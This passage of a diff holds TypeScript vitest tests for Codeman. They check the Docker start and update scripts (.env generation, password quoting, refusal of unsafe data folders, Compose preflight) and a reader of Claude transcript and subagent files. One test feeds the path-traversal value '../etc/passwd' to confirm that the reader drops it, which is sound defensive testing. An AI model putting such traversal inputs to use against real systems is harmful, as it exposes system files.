for (const k of ['CODEMAN_APPDATA_PATH', 'CODEMAN_PORT', 'CODEMAN_PASSWORD', 'CODEMAN_NONINTERACTIVE'])
|
||||
delete env[k];
|
||||
Object.assign(env, opts.env ?? {});
|
||||
if (opts.appdata) env.CODEMAN_APPDATA_PATH = opts.appdata({ home, repo: join(dir, 'repo') });
|
||||
if (opts.socket) env.STUB_DOCKER_SOCKET = opts.socket;
|
||||
|
||||
const entry = join(dockerDir, opts.update ? 'Update-Codeman.sh' : 'Start-Codeman.sh');
|
||||
const res =
|
||||
opts.terminal === undefined
|
||||
? spawnSync(BASH, [entry, ...args], { env, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] })
|
||||
: spawnSync('script', ['-qefc', [BASH, entry, ...args].join(' '), '/dev/null'], {
|
||||
env,
|
||||
encoding: 'utf-8',
|
||||
input: opts.terminal,
|
||||
});
|
||||
const envPath = join(dockerDir, '.env');
|
||||
const envEntry = lstatSync(envPath, { throwIfNoEntry: false });
|
||||
const envKind = !envEntry
|
||||
? null
|
||||
: envEntry.isSymbolicLink()
|
||||
? 'symlink'
|
||||
: envEntry.isDirectory()
|
||||
? 'directory'
|
||||
: 'file';
|
||||
const hasEnv = envKind === 'file' || (envKind === 'symlink' && existsSync(envPath));
|
||||
return {
|
||||
status: res.status ?? 1,
|
||||
// A terminal turns every line end into CRLF.
|
||||
stdout: res.stdout.replace(/\r/g, ''),
|
||||
stderr: res.stderr,
|
||||
log: readFileSync(logPath, 'utf-8')
|
||||
.split('\n')
|
||||
.filter((l) => l.trim()),
|
||||
env: hasEnv ? readFileSync(envPath, 'utf-8') : null,
|
||||
envMode: hasEnv ? statSync(envPath).mode & 0o777 : null,
|
||||
home,
|
||||
dir,
|
||||
homeEntries: readdirSync(home),
|
||||
envKind,
|
||||
envDirEntries: envKind === 'directory' ? readdirSync(envPath) : [],
|
||||
};
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
/** The single (unquoted or single-quoted) value of KEY in a dotenv text. */
|
||||
function envValue(text: string, key: string): string | undefined {
|
||||
const line = text.split('\n').find((l) => l.startsWith(`${key}=`));
|
||||
if (line === undefined) return undefined;
|
||||
const raw = line.slice(key.length + 1);
|
||||
return raw.startsWith("'") && raw.endsWith("'") ? raw.slice(1, -1) : raw;
|
||||
}
|
||||
|
||||
/**
|
||||
* What Compose reads from a single-quoted dotenv value, or null when it refuses
|
||||
* the file with `unterminated quoted value`. A backslash there escapes the next
|
||||
* character, so `'longpass\\'` never closes, while bash (and so the stub) ends
|
||||
* the same value at that quote. Measured on Compose 2.33.0 and 5.5.0.
|
||||
*/
|
||||
function composeReads(quoted: string): string | null {
|
||||
let escaped = false;
|
||||
for (let i = 1; i < quoted.length; i++) {
|
||||
if (quoted[i] === "'" && !escaped) return i === quoted.length - 1 ? quoted.slice(1, i) : null;
|
||||
escaped = quoted[i] === '\\' && !escaped;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
describe('Start-Codeman.sh first run (no docker/.env yet)', () => {
|
||||
it('parses under bash -n', () => {
|
||||
execFileSync('bash', ['-n', join(ROOT, 'docker/Start-Codeman.sh')]);
|
||||
});
|
||||
|
||||
it('writes docker/.env from .env.example with every key the updater requires, mode 0600', () => {
|
||||
const r = runStart(['--setup-only']);
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(r.env).not.toBeNull();
|
||||
const env = r.env as string;
|
||||
expect(r.envMode).toBe(0o600);
|
||||
// The in-app updater's own check: no key the example sets may be missing.
|
||||
expect(diffRequiredEnvKeys(example, env)).toEqual([]);
|
||||
expect(parseEnvKeys(env)).toEqual(parseEnvKeys(example));
|
||||
// --setup-only stops before Compose is asked anything about the stack.
|
||||
expect(r.log.some((l) => / (up|build|config)( |$)/.test(l))).toBe(false);
|
||||
});
|
||||
|
||||
it('changes only the five first-run values and keeps every other line of the example', () => {
|
||||
const r = runStart(['--setup-only']);
|
||||
const generated = (r.env as string).split('\n');
|
||||
const exampleLines = example.split('\n');
|
||||
// Header comments first, then the example line for line.
|
||||
const offset = generated.length - exampleLines.length;
|
||||
expect(offset).toBeGreaterThan(0);
|
||||
for (let i = 0; i < exampleLines.length; i++) {
|
||||
const want = exampleLines[i];
|
||||
const got = generated[i + offset];
|
||||
const key = want.match(/^([A-Z_][A-Z0-9_]*)=/)?.[1];
|
||||
if (key && REWRITTEN_KEYS.includes(key)) {
|
||||
expect(got.startsWith(`${key}=`)).toBe(true);
|
||||
} else {
|
||||
expect(got).toBe(want);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('defaults: a data folder of its own under HOME, cases inside it, a strong alphanumeric password', () => {
|
||||
const r = runStart(['--setup-only']);
|
||||
const env = r.env as string;
|
||||
const appdata = envValue(env, 'CODEMAN_APPDATA_PATH');
|
||||
expect(appdata).toBe(join(r.home, 'codeman-docker'));
|
||||
expect(envValue(env, 'CODEMAN_CASES_PATH')).toBe(join(r.home, 'codeman-docker', 'codeman-cases'));
|
||||
expect(appdata).not.toContain('.codeman');
|
||||
const password = envValue(env, 'CODEMAN_PASSWORD') as string;
|
||||
expect(password).toMatch(/^[A-Za-z0-9]{24}$/);
|
||||
expect(password).not.toBe('changeme');
|
||||
expect(envValue(env, 'CODEMAN_PORT')).toMatch(/^\d+$/);
|
||||
expect(envValue(env, 'TZ')).toMatch(/^[A-Za-z0-9_+/-]+$/);
|
||||
// No terminal here, and a captured log must not hold the password.
|
||||
expect(r.stdout).not.toContain(password);
|
||||
expect(r.stdout).toMatch(/generated; read it from docker\/\.env/);
|
||||
expect(r.stdout).toMatch(/No questions asked/);
|
||||
});
|
||||
|
||||
it('takes presets from the environment and quotes values Compose would otherwise interpolate', () => {
|
||||
const r = runStart(['--setup-only'], {
|
||||
env: { CODEMAN_PASSWORD: 'pa$$ #word', CODEMAN_PORT: '4567', CODEMAN_APPDATA_PATH: '/srv/My Data/codeman/' },
|
||||
});
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
const lines = (r.env as string).split('\n');
|
||||
expect(lines).toContain("CODEMAN_PASSWORD='pa$$ #word'");
|
||||
expect(lines).toContain('CODEMAN_PORT=4567');
|
||||
// Trailing slash dropped, the space kept by quoting.
|
||||
expect(lines).toContain("CODEMAN_APPDATA_PATH='/srv/My Data/codeman'");
|
||||
expect(lines).toContain("CODEMAN_CASES_PATH='/srv/My Data/codeman/codeman-cases'");
|
||||
// A password the user chose is never echoed.
|
||||
expect(r.stdout).not.toContain('pa$$ #word');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['HOME itself', ({ home }: { home: string }) => home, /folder of its own/],
|
||||
['HOME typed as ~', () => '~', /folder of its own/],
|
||||
['a native install state dir', ({ home }: { home: string }) => join(home, '.codeman'), /installed directly/],
|
||||
['inside a native install state dir', () => '~/.codeman/docker', /installed directly/],
|
||||
['a relative path', () => 'codeman-data', /absolute path/],
|
||||
['the checkout, which is the image build context', ({ repo }: { repo: string }) => repo, /copied into the image/],
|
||||
['a folder inside the checkout', ({ repo }: { repo: string }) => join(repo, 'data'), /copied into the image/],
|
||||
// join() would resolve these, which is the whole point: the refusals above compare strings.
|
||||
['HOME spelled through ..', ({ home }: { home: string }) => `${home}/../home`, /without \. or \.\./],
|
||||
['the checkout spelled through ..', ({ home }: { home: string }) => `${home}/../repo/data`, /without \. or \.\./],
|
||||
['a path ending in ..', ({ home }: { home: string }) => `${home}/data/..`, /without \. or \.\./],
|
||||
['a native install spelled through .', ({ home }: { home: string }) => `${home}/./.codeman`, /without \. or \.\./],
|
||||
[
|
||||
'a native install behind a doubled slash',
|
||||
({ home }: { home: string }) => `${home}//.codeman`,
|
||||
/installed directly/,
|
||||
],
|
||||
['the checkout behind a doubled slash', ({ repo }: { repo: string }) => `${repo}//data`, /copied into the image/],
|
||||
])('refuses %s as the data folder and writes nothing', (_name, appdata, reason) => {
|
||||
const r = runStart(['--setup-only'], { appdata });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(reason);
|
||||
expect(r.env).toBeNull();
|
||||
});
|
||||
|
||||
it.each([
|
||||
['a single quote', "it's-a-password"],
|
||||
['the example placeholder', 'changeme'],
|
||||
['fewer than 8 characters', 'short'],
|
||||
['a trailing backslash, which would escape the closing quote', 'longpass\\'],
|
||||
])('refuses a preset password with %s', (_name, password) => {
|
||||
const r = runStart(['--setup-only'], { env: { CODEMAN_PASSWORD: password } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.env).toBeNull();
|
||||
});
|
||||
|
||||
it('refuses a data folder ending in a backslash, even behind a trailing slash', () => {
|
||||
for (const path of ['/srv/data\\', '/srv/data\\/']) {
|
||||
const r = runStart(['--setup-only'], { env: { CODEMAN_APPDATA_PATH: path } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/cannot end in a backslash/);
|
||||
expect(r.env).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it.each(['mid\\dle-pass', 'pa$$ #word', 'back`tick"quote', 'tab\there'])(
|
||||
'writes %j so Compose reads it back exactly',
|
||||
(password) => {
|
||||
const r = runStart(['--setup-only'], { env: { CODEMAN_PASSWORD: password } });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
const line = (r.env as string).split('\n').find((l) => l.startsWith('CODEMAN_PASSWORD=')) as string;
|
||||
expect(composeReads(line.slice('CODEMAN_PASSWORD='.length))).toBe(password);
|
||||
}
|
||||
);
|
||||
|
||||
it('refuses a dangling docker/.env symlink instead of replacing the link', () => {
|
||||
const r = runStart(['--setup-only'], { envShape: 'dangling-symlink' });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/not a regular file/);
|
||||
expect(r.envKind).toBe('symlink');
|
||||
});
|
||||
|
||||
it('refuses a docker/.env directory instead of writing a password file into it', () => {
|
||||
const r = runStart(['--setup-only'], { envShape: 'directory' });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/not a regular file/);
|
||||
expect(r.envKind).toBe('directory');
|
||||
expect(r.envDirEntries).toEqual([]);
|
||||
});
|
||||
|
||||
it('treats a docker/.env symlink to a real file as an existing install', () => {
|
||||
const r = runStart(['--setup-only'], { envShape: 'symlink-to-file' });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(r.stdout).toMatch(/already exists/);
|
||||
expect(r.envKind).toBe('symlink');
|
||||
});
|
||||
|
||||
it('keeps a folder name that merely starts with a dot or dots', () => {
|
||||
const r = runStart(['--setup-only'], { appdata: ({ home }) => `${home}/..data/.state` });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(envValue(r.env as string, 'CODEMAN_APPDATA_PATH')).toBe(`${r.home}/..data/.state`);
|
||||
});
|
||||
|
||||
it('never rewrites an existing docker/.env', () => {
|
||||
const existing = '# hand-written\nCODEMAN_PASSWORD=mine-and-only-mine\nCODEMAN_APPDATA_PATH=/x\n';
|
||||
const r = runStart(['--setup-only'], { existingEnv: existing });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(r.env).toBe(existing);
|
||||
expect(r.stdout).toMatch(/already exists/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Start-Codeman.sh preflight', () => {
|
||||
it('names the docker group (not sudo) when the account cannot reach the daemon', () => {
|
||||
const r = runStart(['--setup-only'], {
|
||||
env: {
|
||||
STUB_DAEMON_ERR: 'permission denied while trying to connect to the docker API at unix:///var/run/docker.sock',
|
||||
},
|
||||
});
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/sudo usermod -aG docker /);
|
||||
expect(r.stderr).toMatch(/log out and back in/);
|
||||
expect(r.env).toBeNull();
|
||||
});
|
||||
|
||||
it('says to start Docker when the daemon is not running, quoting what Docker said', () => {
|
||||
const r = runStart(['--setup-only'], {
|
||||
env: { STUB_DAEMON_ERR: 'failed to connect to the docker API at unix:///var/run/docker.sock' },
|
||||
});
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/daemon is not reachable/);
|
||||
expect(r.stderr).toContain('failed to connect to the docker API');
|
||||
expect(r.env).toBeNull();
|
||||
});
|
||||
|
||||
it('refuses a Compose older than 2.27.2, which has no `config --environment`', () => {
|
||||
const r = runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: '2.27.0' } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/Compose 2\.27\.0 is too old; Codeman needs 2\.27\.2 or newer/);
|
||||
expect(r.env).toBeNull();
|
||||
});
|
||||
|
||||
it('accepts newer Compose majors (v5 here) and a v-prefixed version', () => {
|
||||
expect(runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: '5.5.0' } }).status).toBe(0);
|
||||
expect(runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: 'v2.27.2' } }).status).toBe(0);
|
||||
});
|
||||
|
||||
it('explains a missing Compose plugin', () => {
|
||||
const r = runStart(['--setup-only'], { env: { STUB_NO_COMPOSE: '1' } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/Compose v2 plugin is missing/);
|
||||
});
|
||||
|
||||
it('explains a missing docker command', () => {
|
||||
const r = runStart(['--setup-only'], { noDocker: true });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/Docker is not installed/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Start-Codeman.sh on an existing install', () => {
|
||||
it('refuses to start while CODEMAN_PASSWORD is still `changeme`, before building anything', () => {
|
||||
const existing = example; // a straight copy of the example, never edited
|
||||
const r = runStart([], { existingEnv: existing });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/still the example value "changeme"/);
|
||||
expect(r.log.some((l) => / (up|build|down)( |$)/.test(l))).toBe(false);
|
||||
expect(r.env).toBe(existing);
|
||||
});
|
||||
|
||||
it('Update-Codeman.sh refuses `changeme` BEFORE its build and `down`, so the stack is never left stopped', () => {
|
||||
// An existing appdata dir, so the check this is about is the one reached.
|
||||
const existing = example.replace(/^CODEMAN_APPDATA_PATH=.*$/m, `CODEMAN_APPDATA_PATH=${tmpdir()}`);
|
||||
const r = runStart([], { existingEnv: existing, update: true });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/still the example value "changeme"/);
|
||||
expect(r.stderr).toMatch(/Nothing was stopped/);
|
||||
expect(r.log.some((l) => / (build|down|up)( |$)/.test(l))).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects an unrecognised argument and prints usage for --help', () => {
|
||||
expect(runStart(['--bogus']).status).toBe(1);
|
||||
const help = runStart(['--help']);
|
||||
expect(help.status).toBe(0);
|
||||
expect(help.stdout).toMatch(/--setup-only/);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The whole start path against the stub: no `docker/.env`, so setup, then
|
||||
* `up`, the readiness wait and the summary. Needs a real Unix socket for the
|
||||
* `DOCKER_SOCKET` check, which Windows cannot provide reliably (see the note in
|
||||
* docker-entrypoint.test.ts), so it runs on Linux and macOS only.
|
||||
*/
|
||||
describe.skipIf(process.platform === 'win32')('Start-Codeman.sh first run, start to summary', () => {
|
||||
let sockDir = '';
|
||||
let sockPath = '';
|
||||
let server: Server | null = null;
|
||||
|
||||
beforeAll(async () => {
|
||||
sockDir = mkdtempSync(join(tmpdir(), 'codeman-start-sock-'));
|
||||
sockPath = join(sockDir, 'docker.sock');
|
||||
server = createServer();
|
||||
await new Promise<void>((resolve) => server!.listen(sockPath, resolve));
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await new Promise<void>((resolve) => (server ? server.close(() => resolve()) : resolve()));
|
||||
rmSync(sockDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('ends on the URL, where the password is and the log/stop commands once the container is healthy', () => {
|
||||
const r = runStart([], { socket: sockPath, env: { CODEMAN_PORT: '4321' } });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
|
||||
expect(r.stdout).toMatch(/Waiting for Codeman to answer\.\.\. ready\./);
|
||||
expect(r.stdout).toContain('http://localhost:4321');
|
||||
// Stdout is captured here, so docker/.env is the only place the password appears.
|
||||
expect(r.stdout).not.toContain(password);
|
||||
expect(r.stdout).toMatch(/Sign in +admin, with the CODEMAN_PASSWORD from .*docker\/\.env/);
|
||||
expect(r.stdout).toMatch(/Logs +cd .* && docker compose logs -f codeman/);
|
||||
expect(r.stdout).toMatch(/Stop +cd .* && docker compose down/);
|
||||
// Rerunning alone rebuilds the same checkout: nothing here fetches.
|
||||
expect(r.stdout).toMatch(/Update +App Settings > Updates in the dashboard, or git pull and rerun this script/);
|
||||
const up = r.log.findIndex((l) => / up --build -d/.test(l));
|
||||
expect(up).toBeGreaterThan(-1);
|
||||
expect(r.log.findIndex((l) => l.startsWith('docker inspect'))).toBeGreaterThan(up);
|
||||
});
|
||||
|
||||
it('runs on the port docker/.env holds, not on the preset the shell still exports', () => {
|
||||
const r = runStart([], { socket: sockPath, env: { CODEMAN_PORT: '04444' } });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(envValue(r.env as string, 'CODEMAN_PORT')).toBe('4444');
|
||||
expect(r.stdout).toContain('http://localhost:4444');
|
||||
expect(r.stdout).not.toContain('04444');
|
||||
});
|
||||
|
||||
it.skipIf(!HAS_PTY)('a typed answer beats a preset for the stack itself, not just the file', () => {
|
||||
const r = runStart([], {
|
||||
socket: sockPath,
|
||||
appdata: ({ home }) => join(home, 'preset-data'),
|
||||
env: { CODEMAN_PORT: '4444' },
|
||||
terminal: '~/typed-data\n5555\n\n',
|
||||
});
|
||||
expect(r.status, r.stdout).toBe(0);
|
||||
const env = r.env as string;
|
||||
expect(envValue(env, 'CODEMAN_APPDATA_PATH')).toBe(join(r.home, 'typed-data'));
|
||||
expect(envValue(env, 'CODEMAN_PORT')).toBe('5555');
|
||||
expect(r.stdout).toContain('http://localhost:5555');
|
||||
expect(r.homeEntries).toContain('typed-data');
|
||||
expect(r.homeEntries).not.toContain('preset-data');
|
||||
});
|
||||
|
||||
it.skipIf(!HAS_PTY)('shows a generated password twice at a terminal', () => {
|
||||
const r = runStart([], { socket: sockPath, terminal: '\n\n\n' });
|
||||
expect(r.status, r.stdout).toBe(0);
|
||||
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
|
||||
// Again at the end, since the build output has scrolled the first one away.
|
||||
expect(r.stdout.split(password).length - 1).toBe(2);
|
||||
});
|
||||
|
||||
it.skipIf(!HAS_PTY)('promises no second showing after --setup-only', () => {
|
||||
const r = runStart(['--setup-only'], { terminal: '\n\n\n' });
|
||||
expect(r.status, r.stdout).toBe(0);
|
||||
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
|
||||
expect(r.stdout.split(password).length - 1).toBe(1);
|
||||
expect(r.stdout).toMatch(/it stays in docker\/\.env/);
|
||||
expect(r.stdout).not.toMatch(/shown again/);
|
||||
});
|
||||
|
||||
it('reports a container that keeps restarting, with its last log lines, and exits 1', () => {
|
||||
const r = runStart([], { socket: sockPath, env: { STUB_STATE: 'restarting||1' } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/did not come up \(container restarting\)/);
|
||||
expect(r.stderr).toContain('FAKE-LOG: server crashed');
|
||||
expect(r.stdout).not.toMatch(/http:\/\/localhost/);
|
||||
});
|
||||
|
||||
it('names the next step when `docker compose up` fails', () => {
|
||||
const r = runStart([], { socket: sockPath, env: { STUB_UP_FAIL: '1' } });
|
||||
expect(r.status).toBe(1);
|
||||
expect(r.stderr).toMatch(/`docker compose up --build` failed/);
|
||||
expect(r.stderr).toMatch(/rerunning this script resumes/);
|
||||
});
|
||||
|
||||
it('--no-wait prints the summary without waiting on the container', () => {
|
||||
const r = runStart(['--no-wait'], { socket: sockPath, env: { STUB_STATE: 'running|starting|0' } });
|
||||
expect(r.status, r.stderr).toBe(0);
|
||||
expect(r.stdout).toMatch(/--no-wait given/);
|
||||
expect(r.log.some((l) => l.startsWith('docker inspect'))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('version_older_than', () => {
|
||||
const cases: Array<[string, string, boolean]> = [
|
||||
['2.27.0', '2.27.2', true],
|
||||
['2.27.1', '2.27.2', true],
|
||||
['2.27.2', '2.27.2', false],
|
||||
['2.28.0', '2.27.2', false],
|
||||
['2.9.0', '2.27.2', true],
|
||||
['5.5.0', '2.27.2', false],
|
||||
['1.29.2', '2.27.2', true],
|
||||
['', '2.27.2', false],
|
||||
['dev', '2.27.2', false],
|
||||
['2.27.2-desktop.1', '2.27.2', false],
|
||||
];
|
||||
it.each(cases)('%s older than %s: %s', (have, need, older) => {
|
||||
const script = [
|
||||
'set -euo pipefail',
|
||||
`eval "$(sed -n '/^version_older_than() {/,/^}/p' "$1")"`,
|
||||
'if version_older_than "$2" "$3"; then echo yes; else echo no; fi',
|
||||
].join('\n');
|
||||
const out = execFileSync('bash', ['-c', script, '_', join(ROOT, 'docker/Start-Codeman.sh'), have, need], {
|
||||
encoding: 'utf-8',
|
||||
}).trim();
|
||||
expect(out).toBe(older ? 'yes' : 'no');
|
||||
});
|
||||
});
|
||||
@@ -1,10 +1,16 @@
|
||||
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { homedir } from 'node:os';
|
||||
import { homedir, tmpdir } from 'node:os';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
// A folder of this file's own for the sessions below, never the machine's real `/tmp`:
|
||||
// a create writes the workspace hooks and the agent skill (on by default) into its
|
||||
// working dir, and those would outlive the run there.
|
||||
const WORK_DIR = mkdtempSync(join(tmpdir(), 'codeman-edge-cases-'));
|
||||
afterAll(() => rmSync(WORK_DIR, { recursive: true, force: true }));
|
||||
|
||||
describe('Edge Cases and Error Handling', () => {
|
||||
let server: WebServer;
|
||||
@@ -279,7 +285,7 @@ describe('Concurrent Session Handling', () => {
|
||||
fetch(`${baseUrl}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ workingDir: '/tmp' }),
|
||||
body: JSON.stringify({ workingDir: WORK_DIR }),
|
||||
}).then((r) => r.json())
|
||||
);
|
||||
|
||||
@@ -312,7 +318,7 @@ describe('Concurrent Session Handling', () => {
|
||||
const createRes = await fetch(`${baseUrl}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ workingDir: '/tmp' }),
|
||||
body: JSON.stringify({ workingDir: WORK_DIR }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
/**
|
||||
* Local edit-source reader against a temp projects dir: the transcript lookup, byte-offset
|
||||
* reads of the main transcript and its subagents, and the image probe.
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { mkdirSync, mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
findClaudeTranscript,
|
||||
probeLocalPaths,
|
||||
readClaudeEditSources,
|
||||
resolveClaudeTranscript,
|
||||
} from '../src/edit-history-local-source.js';
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(() => {
|
||||
root = mkdtempSync(join(tmpdir(), 'edit-src-'));
|
||||
});
|
||||
afterEach(() => {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
function put(rel: string, content: string | Buffer, mtimeSec?: number): string {
|
||||
const path = join(root, rel);
|
||||
mkdirSync(join(path, '..'), { recursive: true });
|
||||
writeFileSync(path, content);
|
||||
if (mtimeSec) utimesSync(path, mtimeSec, mtimeSec);
|
||||
return path;
|
||||
}
|
||||
|
||||
describe('findClaudeTranscript', () => {
|
||||
it('returns null when no transcript exists under any id', async () => {
|
||||
put('p/other.jsonl', 'x\n');
|
||||
expect(await findClaudeTranscript(['sid'], root)).toBeNull();
|
||||
expect(await findClaudeTranscript(['sid'], join(root, 'missing'))).toBeNull();
|
||||
});
|
||||
|
||||
it('takes the first id that has a transcript, the newest one across project dirs', async () => {
|
||||
put('a/sid.jsonl', 'old\n', 1000);
|
||||
const newest = put('b/sid.jsonl', 'new\n', 2000);
|
||||
put('c/second.jsonl', 'x\n');
|
||||
expect(await findClaudeTranscript(['bad id!', 'sid', 'second'], root)).toBe(newest);
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveClaudeTranscript', () => {
|
||||
it('takes the watcher path (what the hooks reported) as is', async () => {
|
||||
expect(await resolveClaudeTranscript('/hooked/conv.jsonl', ['sid'], join(root, 'cfg'))).toBe('/hooked/conv.jsonl');
|
||||
});
|
||||
|
||||
it("without one, looks under the session's own claude config dir", async () => {
|
||||
const path = put('cfg/projects/p/sid.jsonl', 'x\n');
|
||||
expect(await resolveClaudeTranscript(null, ['sid'], join(root, 'cfg'))).toBe(path);
|
||||
expect(await resolveClaudeTranscript(undefined, ['other'], join(root, 'cfg'))).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('readClaudeEditSources', () => {
|
||||
it('returns null for a missing file or a path that is not an absolute <id>.jsonl', async () => {
|
||||
const path = put('p/sid.jsonl', 'x\n');
|
||||
expect(await readClaudeEditSources(join(root, 'p/gone.jsonl'), [], 100)).toBeNull();
|
||||
expect(await readClaudeEditSources('p/sid.jsonl', [], 100)).toBeNull();
|
||||
expect(await readClaudeEditSources(path.replace('.jsonl', '.txt'), [], 100)).toBeNull();
|
||||
expect(await readClaudeEditSources(put('p/bad id.jsonl', 'x\n'), [], 100)).toBeNull();
|
||||
});
|
||||
|
||||
it('names the conversation after the file', async () => {
|
||||
const res = await readClaudeEditSources(put('p/conv-1.jsonl', 'x\n'), [], 100);
|
||||
expect(res?.transcriptId).toBe('conv-1');
|
||||
});
|
||||
|
||||
it('reads a new file from its end within the budget, a requested one from its offset', async () => {
|
||||
const path = put('p/sid.jsonl', '0123456789');
|
||||
const fresh = await readClaudeEditSources(path, [], 4);
|
||||
expect(fresh?.files).toEqual([{ relPath: 'main', size: 10, startOffset: 6, chunk: Buffer.from('6789') }]);
|
||||
const cont = await readClaudeEditSources(path, [{ relPath: 'main', offset: 3, len: 2 }], 100);
|
||||
expect(cont?.files[0]).toMatchObject({ startOffset: 3, chunk: Buffer.from('34') });
|
||||
});
|
||||
|
||||
it('clamps an offset past the end to the size (a replaced, shorter file)', async () => {
|
||||
const path = put('p/sid.jsonl', 'abc');
|
||||
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 50 }], 100);
|
||||
expect(res?.files[0]).toMatchObject({ size: 3, startOffset: 3, chunk: Buffer.alloc(0) });
|
||||
});
|
||||
|
||||
it('lists subagents with their meta for new ones only, and shares the budget main first', async () => {
|
||||
const path = put('p/sid.jsonl', 'MAIN');
|
||||
put('p/sid/subagents/agent-a1.jsonl', 'AAAA');
|
||||
put('p/sid/subagents/agent-a1.meta.json', '{"description":"Fix it"}');
|
||||
put('p/sid/subagents/agent-b2.jsonl', 'BBBB');
|
||||
put('p/sid/subagents/agent-b2.meta.json', '{"description":"Other"}');
|
||||
put('p/sid/subagents/notes.txt', 'ignored');
|
||||
const res = await readClaudeEditSources(path, [{ relPath: 'subagents/agent-b2.jsonl', offset: 0 }], 6);
|
||||
expect(res?.files.map((f) => [f.relPath, f.startOffset, f.chunk.toString()])).toEqual([
|
||||
['main', 0, 'MAIN'],
|
||||
['subagents/agent-a1.jsonl', 2, 'AA'],
|
||||
['subagents/agent-b2.jsonl', 0, ''],
|
||||
]);
|
||||
expect(res?.metas).toEqual({ a1: '{"description":"Fix it"}' });
|
||||
});
|
||||
|
||||
it('ignores invalid requests', async () => {
|
||||
const path = put('p/sid.jsonl', 'abcdef');
|
||||
const res = await readClaudeEditSources(
|
||||
path,
|
||||
[
|
||||
{ relPath: '../etc/passwd', offset: 0 },
|
||||
{ relPath: 'main', offset: -1 },
|
||||
],
|
||||
3
|
||||
);
|
||||
// The invalid main request is dropped, so main is read like a new file.
|
||||
expect(res?.files[0]).toMatchObject({ startOffset: 3, chunk: Buffer.from('def') });
|
||||
});
|
||||
|
||||
it('keeps multibyte bytes intact (byte offsets, not string lengths)', async () => {
|
||||
const path = put('p/sid.jsonl', Buffer.from('äöü\n', 'utf8'));
|
||||
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 2 }], 100);
|
||||
expect(res?.files[0].chunk).toEqual(Buffer.from('äöü\n', 'utf8').subarray(2));
|
||||
});
|
||||
|
||||
it('with onlyRequested, reads the requested files and nothing else', async () => {
|
||||
const path = put('p/sid.jsonl', 'MAIN');
|
||||
put('p/sid/subagents/agent-a1.jsonl', 'AAAA');
|
||||
put('p/sid/subagents/agent-b2.jsonl', 'BBBB');
|
||||
const res = await readClaudeEditSources(path, [{ relPath: 'subagents/agent-b2.jsonl', offset: 1, len: 2 }], 100, {
|
||||
onlyRequested: true,
|
||||
});
|
||||
expect(res?.files.map((f) => [f.relPath, f.startOffset, f.chunk.toString()])).toEqual([
|
||||
['subagents/agent-b2.jsonl', 1, 'BB'],
|
||||
]);
|
||||
});
|
||||
|
||||
it('reads the end of a block that does not fit the budget', async () => {
|
||||
const path = put('p/sid.jsonl', '0123456789');
|
||||
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 2, len: 6 }], 3);
